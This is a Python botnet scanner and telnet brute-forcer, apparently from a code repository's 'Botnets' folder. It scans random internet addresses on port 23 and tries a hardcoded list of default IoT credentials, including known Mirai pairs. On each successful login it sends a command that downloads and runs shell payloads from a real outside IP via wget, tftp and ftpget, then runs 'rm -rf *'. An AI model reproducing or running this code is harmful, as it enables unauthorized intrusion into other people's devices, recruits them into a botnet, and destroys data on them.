Path: blob/master/Botnets/Scanning/TELNET/PY BRUTER/bruter.py
5038 views
#!/usr/bin/python1# Simple Telnet Bruter2# Lots of false possitives but pulls alot of results extremely fast34import threading5import sys, os, re, time, socket6from sys import stdout78if len(sys.argv) < 3:9print "Usage: python "+sys.argv[0]+" <threads> <output file>"10sys.exit()1112combo = [13"support:support",14"root:vizxv",15"root:xc3511",16"telnet:telnet",17"root:root",18"supervisor:zyad1234",19"root:",20"admin:1234",21"user:user",22"root:antslq",23"admin:admin",24"root:5up"25]2627threads = int(sys.argv[1])28output_file = sys.argv[2]2930class router(threading.Thread):31def __init__ (self, ip):32threading.Thread.__init__(self)33self.ip = str(ip).rstrip('\n')34def run(self):35username = ""36password = ""37for passwd in combo:38if ":n/a" in passwd:39password=""40else:41password=passwd.split(":")[1]42if "n/a:" in passwd:43username=""44else:45username=passwd.split(":")[0]46try:47tn = socket.socket()48tn.settimeout(8)49tn.connect((self.ip,23))50except Exception:51tn.close()52break53try:54hoho = ''55hoho += readUntil(tn, "ogin:")56if "ogin" in hoho:57tn.send(username + "\n")58time.sleep(0.09)59except Exception:60tn.close()61try:62hoho = ''63hoho += readUntil(tn, "assword:")64if "assword" in hoho:65tn.send(password + "\n")66time.sleep(0.8)67else:68pass69except Exception:70tn.close()71try:72prompt = ''73prompt += tn.recv(40960)74if ">" in prompt and "ONT" not in prompt:75success = True76elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:77success = True78else:79tn.close()80if success == True:81try:82os.system("echo "+self.ip+":23 "+username+":"+password+" >> "+output_file+"") # 1.1.1.1:23 user:pass # mirai83tn.send("cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://159.89.225.37/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 159.89.225.37 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 159.89.225.37; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 159.89.225.37 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\n")84print "\033[32m[\033[31m+\033[32m] \033[33mGOTCHA \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, self.ip)85tn.close()86break87except:88tn.close()89else:90tn.close()91except Exception:92tn.close()9394def readUntil(tn, string, timeout=8):95buf = ''96start_time = time.time()97while time.time() - start_time < timeout:98buf += tn.recv(1024)99time.sleep(0.01)100if string in buf: return buf101raise Exception('TIMEOUT!')102103def Gen_IP():104not_valid = [10,127,169,172,192]105first = random.randrange(1,256)106while first in not_valid:107first = random.randrange(1,256)108ip = ".".join([str(first),str(random.randrange(1,256)),109str(random.randrange(1,256)),str(random.randrange(1,256))])110return ip111112def HaxThread():113while 1:114try:115s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)116s.settimeout(370)117IP = Gen_IP()118s.connect((IP, 23))119s.close()120print "\033[32m[\033[31m+\033[32m] FOUND " + IP121thread = router(IP)122thread.start()123except:124pass125126if __name__ == "__main__":127threadcount = 0128for i in xrange(0,threads):129try:130threading.Thread(target=HaxThread, args=()).start()131threadcount += 1132except:133pass134print "[*] Started " + str(threadcount) + " scanner threads!"135136